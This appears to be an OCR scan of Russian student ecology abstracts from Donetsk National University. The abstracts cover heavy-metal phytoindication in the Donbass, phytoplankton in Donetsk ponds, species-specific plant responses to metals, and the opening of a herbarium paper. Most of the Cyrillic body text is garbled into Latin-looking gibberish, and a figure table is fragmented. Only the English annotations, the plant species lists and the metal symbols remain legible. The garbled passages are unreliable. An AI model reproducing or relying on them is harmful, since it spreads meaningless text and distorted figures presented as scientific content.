MapuipyT cbopa 3HaAUMMON HHGOpPMAUU B aKTyaJbHBIX AKOJOTMYECKUX TPEHAAX s
TEPPUTOPUHN TTPOMBIIIIICHHO Pa3BUTOTO PETHOHA.

Jis cutyal ¢ TeOXMMHYECKUM MPOQHIEM MO MeAW ObUIM B3AThI AU3bIOHKTUBHBIC
(pazopBaHHBIE) MApUIPYTHI, YTO OOYCIOBJICHO MPAKTHUYECKUMU OOCTOSTEILCTBAMU
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peanu3aiuy SKcrepuMenTa. Bee octanbHble METauIbl aHATU3UPOBAINUCH 110 KOHTUHYAJIbHBIM
MapuipyTaM JUHEHHOH rpymniibl cOopa y4eTHBIX TOYEK Mo MH(pOopManuu. ApoOoupoBaHHbIE
MapuipyTbl B KaTErOpMU LHMHK M CBHUHEI[-3aBUCHUMBIX HMHIPEIHEHTOB HMENl BO3BPAaTHO-
MOCTYIAaTeNbHBIE KPYTOBbIE 3aKOHOMEPHOCTHM Ha OOIIEeM JIaHAMAPTHOM y30pe, a cxema
npobwis Uid  PTYTb-3aBUCHMBIX OCHOBHBIX KOMIIOHEHTOB TpeOoBaja YCTaHOBIJICHUS
MapuipyTa B MapajuleJIbHBIX T€OMETPUYECKHX TPAHCEKTaX TaKuM 00pa3oM, 4ToOBI IpOOHO
3aXBaTUTh BCE XMMMKO-TEXHHUUECKUE aHOMAJIMH, OOYCIIOBIEHHbIE IPUPOAHBIM (PAaKTOPOM U
TEXHOTE€HHBIM BMEILIATEIILCTBOM B IHpUpojHble cucteMbl B JloHOacce. M3HauanbHO
pacroyio’KeHHbIE MapIIPYTHl ObUTH JIBaX/Ibl MCIOJHEHBI B JETHUH mepuo] coopa oOpas3ios
pacTeHui (I1010B, CeMsIH, YacTell BereTaTUBHbBIX OPraHOB AJIs repOapu3aluy U KaMepaabHON
00pabOTKM JaHHBIX TPU MHUKPOKOIIMPOBAaHHMM), a Takke MpH (parMeHTapHOM
¢dororpaupoBaHUM ATUIHMYHBIX CTPYKTYp PpAcTeHUM (TepaTHBIX U aHOMAJbHBIX (GOpM
CTPYKTYPHOH THATOJIOTHH), YTOOBI TPOBECTH KOJIMYECTBEHHBIA YYET (PUTOMHIUKAIMOHHBIX
JAHHBIX U pean30BaTh YacTh INPOTrPaMMbl KOMIIEKCHOI'O 3KOJIOIMYECKOIO0 MOHMTOPUHIA,
aKTYyaJbHOTO IS TpaHC(hOPMHUPOBaHHBIX JlaHaAmadToB Jlonbacca.

PaboTa BbINIOJIHEHA B paMKax MHULIMATUBHON U KOMILJIEKTHOM TeMbl Kaepbl 00TaHUKU
M DKOJIOTUM TIO BBIABICHUIO PACTUTENBHBIX OCOOCHHOCTEH B YCIOBHIX (PaKTOpOB
MOBBIIIEHHOI'O AaHTPOIIOTEHHOT'O IPECCMHIa Ha NpUpOAHble 3KocucTeMbl B CeBepHOM
[IpuasoBbe; ampobauMsi JaHHBIX SBJISETCS 3a/JaHUEM BBIIOJHEHHBIX MAaruCTEPCKUX
nucceptanuii s 3amuthl B 2023 rony B 'OK Guonoruueckoro gaxkynsrera JonHY.

Takum 00pa3oM, BBIIOTHEHO MapIIPYTHOE MPO(UIMPOBAHNE TEXHOTEHHBIX SKOTOIOB
neHtpaibHoro Jlonbacca Juisi KOHTpacTa TI€OXMMHUYECKOM Cpeibl 10  OTAEIbHBIM
UHTpenueHTaM (Menb, IWHK, PTYTh M CBHHEN) W (DUTOMHIAMKAIIMOHHBIM HCCIIEIOBAHUSAM B
pamMKax  CYHIECTBYIOIIEH  KOMIIEKCHOM  TEMbl  JUI1  pealu3alid  BBIMYCKHBIX
KBaJIN(UKAIIMOHHBIX paboT Ha Kadenpe O0TaHUKU U 3KOJOTUHU J[OHEKOro HalMOHaIbHOIO
YHUBEPCUTETA MO WHAMKALMOHHBIM CBOMCTBaM M (DYHKLHSM pPacT€HUH B MPOMBIILICHHOM
pEruoHe: CTPYKTypHas MIACTUYHOCTh PACTEHUN-MHINKATOPOB B YCIOBUSX AHTPOIIOI€HHOMN
Cpelbl; BO3MOXKHOCTH JKCIIPECC-OLIEHKU 3KOJOTMYECKOr0 COCTOSHUA ynul I. JloHenka 1o
(¢uTOKBaHTU(UKALINY.
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APPROBATION OF GEOCHEMICAL AND PHYTOINDICATION PROFILES BY THE ROUTE
METHOD IN THE CENTRAL DONBASS

Annotation. As part of the complex topic being implemented, for the implementation of final qualification works
at the Department of Botany and Ecology of the Donetsk National University on the indication properties and
functions of plants in the industrial region, route profiling of technogenic ecotopes of the central Donbass was
carried out to contrast the geochemical environment for individual ingredients and phytoindication studies:
structural plasticity of indicator plants in the conditions of the anthropogenic environment; opportunities for
express assessment of the ecological state of the streets of Donetsk by phytoquantification.

Keywords: phytoindication, Donbass, phytomonitoring, heavy metal pollution, route profiling.
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YK 574.34
AHAJIA3 ITPOBb ®PUTOIVIAHKTOHA ITPYJOB I''’ TJOHEIIKA

Txauenko T.B.
Hayunwit pykosooumens: Mupnenxo 3.U., cmapuwiuii npenooasamens
Ioy BIIO «/IOHHY»

Annomayus. B pabote mpeacTaBiIeHbI JaHHBIE O pa3BUTHH (GUTOILIAHKTOHA B IIpy/ax r. JloHenka. Y cTaHOBJICHA
CHCTEMaTH4eCKasi CTPYKTypa, KOJIMYECTBEHHBIC MOKA3aTelIW M paclpelelieHHe BHIOBOTO cocTaBa. B xoxme
ompeneneHus Mpod GUTOIUIAHKTOHA OBIIIO HASHTU(UIIMPOBAHO 58 BHIOBHIX TAKCOHA, YHCIEHHOCTh U OnoMacca
B IIPy/JaX HE3HAYUTEIHBI 1 HEPABHOMEPHO PACIIPEAEICHBI B 3aBUCHMOCTH OT CE30HA IroJa.

Kniouegvie cnosa: npyapl, GUTOIIAHKTOH, KOJMYECTBEHHBIC TTOKA3aTeNH, JJOHETIK.

JlonGacc siBhsieTCsl KPYMHBIM TMPOMBIIUIEHHBIM PErHOHOM, a 00eClNeYeHHOCTh €ro
IIPECHOM BOJIOM OJHA M3 caMbIX HM3KUX Ha TeppuTopuu CesepHoro [IpuuepHomopbs. OHa
oOycrnoBiieHa ciaeayoummi pakropamu. Bo-nepBsix, 601bI1as 4acTh pek 0071acTi, 0COOEHHO
JIOHEIIKOTO KpsKa, OTHOCSTCS K IEHTPOOCIKHOMY WM TpaH3UTHOMY Tumy. [lepBbie
MIPOTEKAIOT M0 TEPPUTOPUHU PECIyOIHKHU TOIHKO BEPXOBBSIMH U MAJIOBOJAHBI. Peku BTOpOro
TUIIA [IEPECEKAIOT TEPPUTOPUIO PECITYOJIUKHU B CBOEH CpelHEW 4acTH, OJHAKO B Ipejaesax
o0acT HaXOJUTCS UL HEOOMbIIIast YacTh UX pycina [1].

Bons! pek 3auactyro HampaBiieHbl Ha 00ecIieueHre TPOMBITIINIEHHOCTH U aKKYMYJISIITUIO
npyzaoB. [lpyn m3HadanbHO aHTPONOTEHHBIA O3€POBHUAHBIN (KOTIOBAaHHBINA) OOBEKT, UMEET
peYHOe TUTAaHWE W TpPEAHA3HAYEH [UJII OPOILIEHHUS, BOJOCHAOXKEHUS, pa3BEACHUS PHIOBI
(mpynoBoe pbIOHOE XO3SCTBO) M BOJOIUIABAIONICH MTHIBI, a TaKXKe AN CaHUTApHBIX,
IIPOTUBONOXKAPHBIX U CIIOPTUBHBIX NoTpedHOocTel. Ha Jlonbacce peunyro Boay UCHOIB3YIOT
JUTSL CO3/IaHMsI OTCTOMHMKOB IIAXTHBIX BOJ, YTO CO3/Ia€T JOIOJHHUTENIbHBIE MPOOJIEMBbl B
obecrieueHnr MpecHbIMEU Boamu [ 1-2].

I'unponoruyeckue xapakTepUCTUKH BO0eMOB JlOHEIKOil pecnyOianKu 00yCIOBIEHBI
0COOBIMU KIIMMAaTUYECKUMH yCIOBUsIMH. KiMMaT pernoHa ymMepeHHbI KOHTUHEHTAIbHBIN C
XOJIOAHOW 3UMOM M HE >KapKuM JieToM. KOHTUHEHTabHOCTh KJIMMaTa UMEET CTIIaXKEHHOCTh
Ha Iore 00JIaCTH 3a CUeT BIMSHUS BOJHBIX Macc A30BCKOTO MOpS, B IICHTPAILHOM YacTH — 3a
CYeT BO3BBIIIEHHOTO penbeda, a Ha ceBepe — 1o npuurHe BiusiHus peku CeBepckuit JJoHery
U pek ero Oacceiina [3].

Cpennsis rofoBasi aMIUTHTyJa TeMmiiepaTypbl B JloHEIKON pecnyOinKe COCTaBIseT
10,3°C, makcumainbHas — 41°C. [3]. OcangkoB Beimagaet ot 500 MM/ron B JJoHEIIKOM KpsiKe 10
354 mm/rox B [Ipuazosse, rae 70% cpenHEroJoBOro WX KOJUYECTBA MPUXOAUTCS HA TEIJIOe
BpeMs Tojla, MAKCUMYM Ha WIOHb — HIOJb, & MUHMUMYM Ha STHBaph — (peBpasb npeodiagaroT
CUJIbHBIE BOCTOUYHBIE BETPHI [3].

buota npynos r. JloHelnka MeHee pa3HoOOpa3Ha KU3-3a HAIMYKS OOJIBIIOTO KOJUYECTBA
BOZ03a00pHBIX COOPYXKEHHH M cOpoca CTOYHBIX BOJ. 3arps3HEHHE IMOBEPXHOCTHBIX U
MTOA3EMHBIX BOJI MOKHO Pa3/IeIUTh Ha CIICTYIONTHE THITBI:

* XUMHUYECKOE€ — HaJMYMe€ B BOJIE CHUHTETUYECKUX BEUIECTB TOKCHYECKOTO U
HETOKCHYHOTO JICHCTBHSI,

* Ouonornyeckoe U OaKkTepualbHOE — TPUCYTCTBHE B BOJAE MATOTEHHBIX
MHUKPOOPTaHU3MOB TOKCUIHBIX BOJOPOCIICH, CIIOp TPpHOOB;

* MEXaHUYECKOE€ — TIOBBIIICHUE COAEP’KAHWE B3BELICHHBIX BEIIECTB KOTOPOE
MPUCYTCTBYET 3a9aCTYIO B MPUIOHHOM M IIOBEPXHOCTHOM CJIOE;

* PaIMOAKTUBHOE — MPUCYTCTBHE PAJAMOAKTUBHBIX U30TOMOB B TOJILE BOJIbI, a TAKXKE HA
JTHE BOJIOEMA;
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* TEIJIOBOE — CIYCK MOJOTPETHIX BOJ C TEIIOBBIX M ATOMHBIX 3JIEKTPOCTaHIMM [4].

OCHOBHBIMM HCTOYHHUKAMU 3arps3HEHHUsT M 3aCOPEHUS BOJOEMOB HEJIOCTATOYHO
OYUIIICHHBIE CTOYHBIE BOJIbI IMPOMBIIUICHHBIX M KOMMYHAJIbHBIX MPEANPHUATHI, KPYIMHBIX
KUBOTHOBO/JUECKUX KOMIUIEKCOB, OTXOJbI TPOW3BOJACTBA TpU pa3paboTKe pyIHBIX
MCKOMAEMbIX; BOJBI IIIAaXT, PYIHUKOB, 00pabOTKe W CILIaBE JieCOMATEepUaloB; COPOCHI
BOJHOTO M KEJIE3HOJOPOKHOTO TPAHCIOPTA; OTXOAbl MEPBUYHON 0OOpabOTKH JIbHA,
MECTUIMABI U T.J. 3arps3HSIOIIME BEIIEeCTBa, MONaaas B IPUPOIHBIE BOJOEMbI, IPUBOAST K
KAueCTBEHHBIM WM3MECHECHHSIM BOJIbI, KOTOPHIE, B OCHOBHOM, IPOSIBIISIFOTCS B W3MECHECHUU
(U3MUECKUX CBOMCTB BOJBI, B YACTHOCTH, TOSBIICHUE HEMPHITHBIX 3aIllaXxOB, CIAJOCTEH U
T.J.; B UI3MEHEHUH XHMHUYECKOT0 COCTaBa BOJIbl, B YACTHOCTH, MOSIBIICHHE B HEHl BPEIHBIX
BELIECTB, HAJIMIIO IUIABAIOIIMX BEIIECTB HA MOBEPXHOCTU BOJbI U OTJIOKEHUU MX Ha JIHE
BOZ0eMOB. Takke CTOUT OTMETHUTb, YTO M3-3a YACTHIX aBapUUHBIX CUTYallMid Ha O0OBEKTaxX
KAHAJU3alMOHHOTO XO3SIMCTBA UX CAHUTAPHO-3MUAEMHOJIOIMYECKOE COCTOSIHUE OCTAaeTCs
HEY/I0BJIETBOPUTENIbHBIM [4].

@OUTOMIIAHKTOH — OJWH W3 OCHOBHBIX IICPBUYHBIX MPOIYIIEHTOB OPraHHYECKOTO
BEILIECTBA BOAHBIX 3KocucTeM [2]. P nuccnenoanuii [5-14,16] nokassiBaeT onpenessonyto
poib puTomIIaHKTOHA B (HOPMUPOBAHUH Ka4eCTBA BOJIBI M OLIEHKE COCTOSHHSI BOJOEMOB.

enpto paboOThI SABIASETCS aHAIW3 OMOpPa3HOOOpa3us (PUTOILIAHKTOHA B Ipobax, B
Pa3HOTHUITHBIX Mpyaax T. JJoHerka.

[Ipo6sl ¢uTOmIaHKTOHA OBUTM OTOOpaHBl COTPYAHUKaMU Kadeapbl OOTaHMKU U
skonoruu JlonHY B nepuox ¢ 2015 no 2021 r na takux npynax: 3aBoackue (KyiobimeBckuii
paiion), Kupma (KupoBckuii paiion), BerkoBckuii (Kuesckuii), JloHenkoe wmope
(Jlennnckuit). IIpo6sr Boabl otOupamu B coorBercTBUM ¢ I'OCTamu [15]. Ot6op mpob
MIPOU3BOJIIIH C HCIIOJIb30BAHUEM PA3IMYHBIX MJIABCPEICTB, U3 MOCTOB, MoaAMOCTKH [15]. Bee
pe3ysbTaThl KOJMYECTBEHHOI'O aHaiu3a o0paboTaHbl cratuctudyecku B mporpamme Exel
(onpezeneHsl cpeiHue, OMNOKU CPEeIHEr0, TPOBEAEHO CPABHEHUE CPETHUX).

B xopne ompenenenust npo0 (UTOIIAHKTOHA B IIEJIOM OBLIO WAECHTHU(PUIIMPOBAHO 58
BHJIOBBIX TaKCOHA BOJOpOCIEH, mpuHaanekamux k 5 otaenam (Cyanophyta, Euglenophyta,
Dinophyta, Bacillariophyta, Chlorophyta), 18 cemeiictBam u 52 poaam (puc.1).
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Pucynok 1 — Cuctemaruueckasi CTpyKTypa (PUTOIUIAHKTOHA UCCIIETYEMBbIX TPY/IOB.

s aneroaopsel BCeX HCCIENYEMBIX MPYAOB TOMHHHPYIOIIUMU MOXHO BBIACITUTH
oraensl Bacillariophyta — 9-14 BumoB (B cpemnem 32% oT o0Imiero umcia BHIOB),
npuHaIexamne He 6omnee k 11 pogam (28% obiero uncia pogoB) u 6 cemeiictBam. BTopeim
no konuuecTBy BUmoB ObL1 oTen Chlorophyta, npencrasnennsiit ot 18 1o 25 BUAOBBIME
takcoHam¥ (B cpearem 50,7% oT obmero uncna BuaoB) 7 ponoB (39% ob1iero uyucia poaos)
9 cemeiictBamM. B pa3Hoii creneHn ObUTO MACHTH(HUIIMPOBAHO OT 3 A0 7 MpeacTaBUTENCH
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ornena Euglenophyta (14% o6mero ymciaa BHIOB), OTHOCSIIMECS K 3 pojaaM OJHOTO
cemeiictBa. Cunesenensie (Cyanophyta) BappupoBaiu oT 1 10 7 BUAOBBIX TakCOHOB (4%
obmero uncna BuaoB) 3 poxaa (7,1% obuiero uucia poaos) 2 cemeiicta. Otaen Dinophyta
OBLT TIpe/ICTaBICH eAMHNYHO. TakuM o0pa3oM, ansrodiaopa UCCISAYeMBbIX MPYIOB B IEIOM
HOCHUT JTMaTOMOBO-ITPOTOKOKKOBBIH XapaKTep C HE3HAUUTEIbHBIM YYaCTHEM CHHE3CJICHBIX,
IUHO(MUTOBBIX M IBIIICHO(UTOBBIX BOJIOPOCIEH.

YucneHHOCTh 1 OnomMacca PUTOIUIAHKTOHA B IPY/IaX HE3HAYUTEIbHBI M HEPABHOMEPHO
pacmpesielieHbl B 3aBHCHUMOCTH OT C€30Ha roja. [0 MHOTOJETHUM CpEIHUM IOKa3aHHSIM
COCTABIIANM: YHCIEHHOCTh — B cpeaHeM 379 xin/am°, a Guomacca — 505,3 mxr/am°. B
(GOpMHUPOBAaHUN YHCICHHOCTH OCHOBHYIO PpOJIb WIPaH 3€JICHbIE BOJOPOCIH, KOTOpHIC
cocraBysu 0T 46 10 66% OT CyMMapHOW YUCICHHOCTH (PUTOIIAHKTOHA. B OTAeNbHBIC TOBI
XapakTep JTOMHHUPOBAHUS U3MEHSUICS M HAYMHAIM 3HAYUTEIILHO PAa3BUBATHCS IMATOMOBBIC
BOJIOPOCIIH, a JICTHUW TIEPHUOJ BBICOKYIO OMOMAcCy TOJydald CHHE3CJICHBIC, MPU HU3KOM
BHJIOBOM Pa3HOOOPA3NM YHCIEHHOCTh KIETOK CHHE3ENEHBIX JOoCTHrana | MIH.KI/IM°, 94To
YKa3bIBaeT Ha MPOIIECCHl YBEIMYCHHOTO KOJIMYSCTBA OMOTEHHBIX BEIICCTBA.
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Pucynox — 2 Pacnipenenenue BU10BOTO cocTaBa (PUTOIIAaHKTOHA B TIpy/aax r. JloHerka.

Takum oOpa3om, sKocucTeMa Tpynbl T. JlOHENKa WCHBITHIBAET 3HAYUTEIBHYIO
AHTPOIIOTEHHYIO HAarpy3Ky M HpOIIECChl CaMOBOCCTAaHOBJIEHHUS COOOILECTB BOJIOpOCIEH
HapyIIEHBI, YTO TPOSBISIETCS B HEPABHOMEPHOM pacIpe/leIcHUH BHJIOBOTO COCTaBa. Psi
BOJIHBIX 00BEKTOB JIOJKHBI HAXOIUTHCSA 101 TIIATEIbHBIM HaJI30pPOM CO CTOPOHBI CAHUTAPHO-
AMHUIEMHUOIOTHYECKIX M JKOJIOTHYECKHX CIIY:KO T. JloHelka W mpu HEOOXOJMMOCTH Ha
00BEKTE JODKEH OBITh BBE/IEH MPUPOJIOOXPAHHBIN PEXUM.
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ANALYSIS OF PHYTOPLANKTON SAMPLES FROM PONDS IN DONETSK

Annotation. The paper presents data on the development of phytoplankton in the ponds of Donetsk. The
systematic structure, quantitative indicators and distribution of species composition are established. During the
determination of phytoplankton samples, 58 species taxa were identified, the number and biomass in the ponds
are insignificant and unevenly distributed depending on the season of the year.
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Annomayus. Ha OCHOBaHMM HAKOIUIEHHOTO ONBITa IO BBIABJICHHUIO 0COOOWH TOKCHYHOCTH TEXHO3EMOB,
COOpaHHBIX CEMEHHBIX MaTepHajoB (00pa3loB) ObUIM TPOBEAEHHI JAOOPATOPHBIE OIBITHI IO BEISIBICHUIO
BUJIOBOHM cHenuM(pUYecKOd peakluy pa3HbIX PAacTeHHH Ha AEHCTBUE Pa3HBIX (DOPM TSDKENBIX METANIOB B
COYETaHNH C MIPUPOTHBIMHM aHOMANUSIMH, BcTpevaroniuMucs B Jlonbacce. [IponmtroctpupoBana pusoiorundexas
cneuuduyeckas OTBETHasl peakiysi BUJOB-MHINKATOPOB Ha JICHCTBHE 3arps3HUTENCH.

Kniouegvie cnosa: puroTecTHpOBaHNE, TSKEIIBIC METAIIIBI, 9KOJIOTHIECKI MOHUTOPHHT, (PUTONHIUKAIIHSL.

B mpenpinymeii cepun paboT OblUia BbIJENEHA MEPBUYHAS peaklus HpeCcTaBUTENEH
cemerictBa 0000BbIX Ha JneiictBue 2 W 3 koHueHtpanuid I[TJIK Tsox€npix mMeTamioB mpu
MoHO(akTopHOM  3arpssHeHwu  [1].  Jns  Tepputopum  Jlombacca  MOJHOCTBIO
nepeopMUpOBaHHBIC JIaHIIIA(THI ABISIOTCS IPEIMETOM CHEIHAIBLHOTO U3yyeHus [2—-5], B
TOM YHUCJI€ TI0 BOMPOCAM BBISBIICHUS QJaNTAllM U YCTOWYMBOCTH BHJIOB-UHJIUKATOPOB K
HeONaronpusaTHBIM (pakTopaMm cpeapl Ha OCHOBAaHUM JAHHBIX MO CTPYKTYPHOW OOTaHUKE —
aHATOMUU U MOP(OJIOTH PACTEHUH, TUTOJIOTUH U THCTOJIOTHH PACTUTEIILHBIX OPTaHU3MOB [ 6—
8]. Ilo >TuM mpuyuHAM OBLTU MPOJOJDKEHBI HCCIETOBAHMS BHJIOBOM CHEIU(GUYHOCTH B
peakiuy pacTeHUl Ha JEHCTBUE MPUOPUTETHBIX 3arpsisHUTeNei B JlonOacce (TspKeIbIX
METaJLIOB).

lens paboOThl — Ha OCHOBAaHWU HAKOIUIGHHOTO ONBITA IO BBISBICHUIO OCOOOM
TOKCUYHOCTH TEXHO3EMOB, COOpaHHBIX CEMEHHBIX MaTepuanoB (00pa3loB) MPOBECTH
J1a00paTOPHBIE OTBITHI O BBISIBICHUIO BUOBOU CTICIIM(UIECKON PEAKIIUN PA3HbIX pACTEHUN
Ha JIEHCTBUE pa3HbIX (HOPM TSHKENBIX METAJUIOB B COYETAHUM C MPUPOIHBIMU aHOMATHSIMH,
BcTpeuatoumucs B JlonOacce; NMpOMJUIIOCTPUPOBATh PHU30JOTUYEKYIO CHEHHPHUUECKYIO
OTBETHYIO PEAKIMIO0 BUJAOB-UHIUKATOPOB Ha JACHCTBUE 3arpsi3HUTEIEH.

3a OCHOBY TP BBIOOPE 0OBEKTOB, MPEIMETOB U CIIOCOOOB MPOBEACHUS JIA0OPATOPHOTO
SKCIIEPUMEHTa OB BBHIOpAaHBI HAPaOOTKH JOHEIKUX YYEHBIX MO BOMPOCAM ONTHMH3AINH
cpenbl [9], ananmutuueckou skojoruu [10], OuopasznooOpasusi [11], reocTpaTernueckoro
IUIaHUpOBaHUs M oueHku [12, 13]. BBuay peanusyembIX KpYNHBIX TOCYAApCTBEHHBIX
Hay4HbBIX TeM [14] U KOHKPETHBIX pa3pabOTOK MO CTPYKTypHOU Ouosioruu B JlonOacce [15—
17] ObLTH TpeTI0KEeHBI CIIOCOOBI TPOBECHHS TEKYIIETo SKCIIepUMeHTa. BaxHo, 4TO MHOTHE
9KOJIOro-00TaHNYeCKHe pa3paboTKu UMerT Oubanorpadguueckui yuér [18], HampaBiieHbl B
acniekte Quropemenuanuu [19] u QuTOMHAMKAIMK, SKOIOTHUYECKOTO MOHUTOPUHTA B
peruone [20-23].

Ha puc. 1 pmana wumtrocTpanus SKCHO3UIIMOHHBIX YYacTKOB cOOpa TEXHO3EMOB,
CaHWUTApPHO-3aIIUTHBIE 30HBI W YYAaCTKH MaKCHMAQJIbHOTO WMIAKTAa TPEAIPHUSTHI -
3arpsizauTenel B Jlonbacce, ykasaHo, 4TO AJIs OTUX MPEANPHUATUN TMPOBEACHBI MOIPOOHBIC
9KOJIOTUYECKHUE DKCIEPTU3bl W JAPYTUMH (PUTOMHIMKAITMOHHBIMA MeToaamu. llomydeHsl
MacropTHbIC JaHHBIE MHIUKAIIMOHHOM 3KcriepTu3bl. OnpeaeneHsl TEHASHIIMU, YTO YPOBEHb
TEXHOTEHHOT'O BO3JICUCTBHS B 3aBUCUMOCTH OT MHTEHCUBHOCTH PAOOTHI MPETPUSATHS MOKET
KaK yBEJIIMYMBATHCS, TaK M yMEHbIIAThCA. YacTW pHCYHKa B Ha3BaHUMU C JMATHOCTUKOM
571a(OTONOB — UCHOJB30BaHbl pa3paboTKU acnupaHTa Kadeapbl O0TaHUKH U SKOJIOTHH —
A.B. Kamuuunoit [2, 20, 21, 23] B coBmecTHOii pabore c pgouentom JJonHTY
E.A. T'epmonoBoii [12, 13]. HamMu ObL1 BBIIOJIHEH Ka4yeCTBEHHBIH aHAIW3 IO CUCTEME
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PH30JIOTMYECKON peaknuu TMpH IPOPACTAHUM Ha TOKCHYHBIX WM MAaJOTOKCHYHBIX
cyoctparax — rexHozémax Jlonbacca (puc. 1).

CBogHble Tabnuubl 3Ha4YeHUN PUTONHONKATOPOB

TOPHBIX NPITHAKOR COCTOSAHILA PACTEHITT / OBt
MDQC: | MDGORI | MDOB: | ITREv | AANC: | KPGi | SDPmsCi | KDNEC: | TrShCi | GCCi || 0K
7 9 6 8 7 7 7 8 9 8 76
2 9 6 8 7 7 7 9 7 7 [\ 76 -
=

[oHeuKuA MeTannypruyeckuii 3aBo, ——,

3HAYeHTIe IHIKATOPHELX TP ot Ofmmit
DGCt | MDGRI | MDGBL | ITREv | AANC: | XPCi | SDPmsCt | XDNECt | TrShCit | GCCt | Mokasarem
5 5 3 5 4 6 5 6 5 5 49

7 6 2 5 6 7 8 8 8 8 ¢ 66

CTtapobeluesckas TOC

K=
MDGCi | MDGRI | MDGBi | ITREv | AANCL | KPCI | SDPmsCi | KDNECE | T7ShCi | GCCI || moKasarem,
8 10 6 9 8 8 8 8 10 8 83
10 9 5 8 9 9 9 8 4 3 79
SACUHOBCKUIA KOKCOXMM3aBoa ~—~ ‘
y2 /\ J =
- ' Oyt
MDGCE ﬁ MDGBi | ITREv | AANG: | KPCi | SDPmsC 'm_‘"a“W:aoa::‘ ToKAsaTem
6 4 6 6 5 6 6 i 7 60
T 7 o [ A [ o [ e B Se—
4 XapLibI3cKuit TpyBHbIN 3aBof .

us nyctagineus (Michx.) Swe:

temisia absinthium L.

ep)
Burl.
] i bsinthitonL.
i jspus1.
F [ 1215 Rodimiapseudoacacial.
N [ 13.1-5- Rodimapseudoacacial.
113 — Sorbus aucuparia L.
0 1445 Padetius mahates @) Vassitez
iz

—Swida sanguinea(l..) Op;
ia pseud

loacacial.
114 - Padellus mahaleb (L) Vassilez.

Pucynok 1 — O0beKTHI U CIOCOOBI MPOBEICHUS (PUTOTECTUPOBAHUS B YCIOBUSAX OTOOpA
00pa3IoB TEXHO3EMOB OTKPBITHIX JIAHAIA(TOB

beimn  ycTaHOBIEHBI BUAOCTICIIU(UYECKHE 3aKOHOMEPHOCTH PEaKIMM pacTeHUN Ha
3arpsA3HUTCIIA B CJ'IC}Z[YIOIJleI IIOCIICA0OBATCIIbHOCTHU ILCIZCTBHH TOKCHUYHOCTH:

— Capsella bursa-pastoris: Cu, Ni, Fe, Zn, Pb, Cd, Mn;

— Diplotaxis muralis: Cd, Pb, Cu, Ni, Fe, Zn, Mn;

— Sagina procumbens: Cd, Cu, Ni, Fe, Zn, Pb, Mn;
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— Sisymbrium polymorphum: Zn, Pb, Cd, Mn, Cu, Ni, Fe;

— Atriplex mircantha: Cu, Ni, Fe, Zn, Pb, Cd, Mn;

— Berteroa incana: Pb, Cd, Ni, Cu, Fe, Zn, Mn;

— Artemisia absinthium: Zn, Cd, Pb, Cu, Ni, Fe, Mn;

— Fumaria schleicheri: Zn, Pb, Cd, Cu, Ni, Fe, Mn;

— Matricaria recutita: Cd, Pb, Cu, Ni, Fe, Zn, Mn;

— Stellaria subulata: Zn, Pb, Cd, Cu, Ni, Fe, Mn;

— Glaucium corniculatum: Zn, Pb, Cd, Cu, Ni, Fe, Mn;

— Nigella arvensis: Cd, Pb, Cu, Ni, Fe, Zn, Mn;

— Alsine media: Zn, Pb, Cd, Cu, Ni, Fe, Mn;

— Dianthus campestris: Zn, Pb, Cd, Mn, Cu, Ni, Fe;

— Polygonum aviculare: Cd, Ni, Cu, Fe, Zn, Pb, Mn.

HO HaIHGMy npezmonon(eHmo BI/I[[OCHGIII/I(l)I/I‘IHOCTI) B pI/ISOJIOI‘I/IquKOM BKCHepI/IMeHTe
3aBUCUT OT OCO6€HHOCT€§I OTACJIIBHOI'O BHUJOA Q)OpMHpOBaTB 30HY BCACBIBAHUS Ha PA3HBIX
ropmomax; Ha HpaKTI/IKe — HaI/I60JI€e aHTpOHOI‘eHHO IIOABUKHBIM SIBJISICTCS BerHI/Iﬁ
TPYHTOBBII TOPU30HT 1-5 cM; eciu 00pa3iibl TeXHO3EMOB ObLTH 0TOOpPAHBI B 3TOM FOPU30HTE,
TO (1)I/ITOTOKCI/I‘~IHOCTI) BBIIIIC U B LCJIIOM ITOABUXXHOCTH HMOHOB TSIXKCJIBIX MCTAJIJIOB MCHEC
CBs3aHa XaHaTOO6pa3y10H_II/IMI/I KOMIIJICKCAMU UJIU HC 6J'IOKI/IpOBaHa OpFaHOCHeHI/I(bI/I‘{eCKI/IMI/I
COCONHCHUAMU.

B pabote nmo pu3osioruveckoit uaeHTH(OUKAIIMN UCTIOIb30BAIH JaHHBIC IO CTPOCHHMIO (B
MEePBYI0 OYepeb — ACHMMETPUYHOCTH) KOPHEBOTO YEXJIMKA, LEJIOCTHOCTH TKaHU
AcpMaroreta, WJiM IACPMATOKAIHMIIPOICHA, BApPUAHTOB CTPOCHHA HepI/I6J'IeMI>I, 31'II/I6J'I6MBI,
IUIEPOMBI, — 5 WHAWKATOPHBIX KIIOYEBBIX MOKa3aTeasi OOBEAMHWIN B pacueT S-OaiibHON
IIKaJIbl JIA pa60116171 BEpCUN OHLCHKHU YPOBHA TOKCHYECKOI'O BOS,[[GfICTBI/IH OTACIIBHOI'O
cyOcrpara.

Taxkum 06pa30M, Ha OCHOBAaHHHW HAKOIIJICHHOI'O OIIbITa IIO BBIABJICHUIO 00060171
TOKCUYHOCTH TEXHO3EMOB, COOPAHHBIX CEMEHHBIX MarephajioB (00pa3loB) MNpPOBEAECHbI
J'Ia60paTOpHBIe OIIBITHI ITO BBISIBJICHUIRO BH,HOBOﬁ cneun@nqecxoﬁ PpCaKnn pa3sHbIX paCTeHI/Iﬁ
Ha ﬂeﬁCTBHC paSHI)IX q)OpM TSIOKCIIBIX MCTAJIJIOB B COUCTAHUU C HpI/IpOJIHI)IMI/I aHOMAaJIusIMU,
BCTPCHAOIIUMUCA B I[0H6acce; MMPOUJUIFOCTPUPOBAHA PU3OJIOTHYCCKaA CHeI_II/I(i)I/I‘-IeCKaSI
OTBETHAs PeaKlrs BUJAOB-WHIUKATOPOB Ha JEUCTBUE 3arpsI3HATEIICH.
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SPECIFICITY OF SPECIES AND METALS IN PHYTOTESTING

Annotation. Based on the accumulated experience in identifying the special toxicity of technozems, collected
seed materials (samples), laboratory experiments were carried out to identify the species-specific response of
different plants to the action of various forms of heavy metals in combination with natural anomalies found in
the Donbass. Rhizologically specific response of indicator species to the action of pollutants is illustrated.
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VJIK 581.15 : 911.52 (477.60)

TEPBAPHOE JIEJIO - OCHOBA HAYYHOM UJAEHTU®UKALIMA JIAHHBIX O
IMPUPOJE B TJOHBACCE (HA IPUMEPE OTAEJIBHBIX TAKCOHOB)

Domuna A.J1.
Hayunwuit pyxosooumens: Cagponos A.U., kano.ouon.nayx, 3ae.kageopoi
TIoy BIIO «/IOHHY»

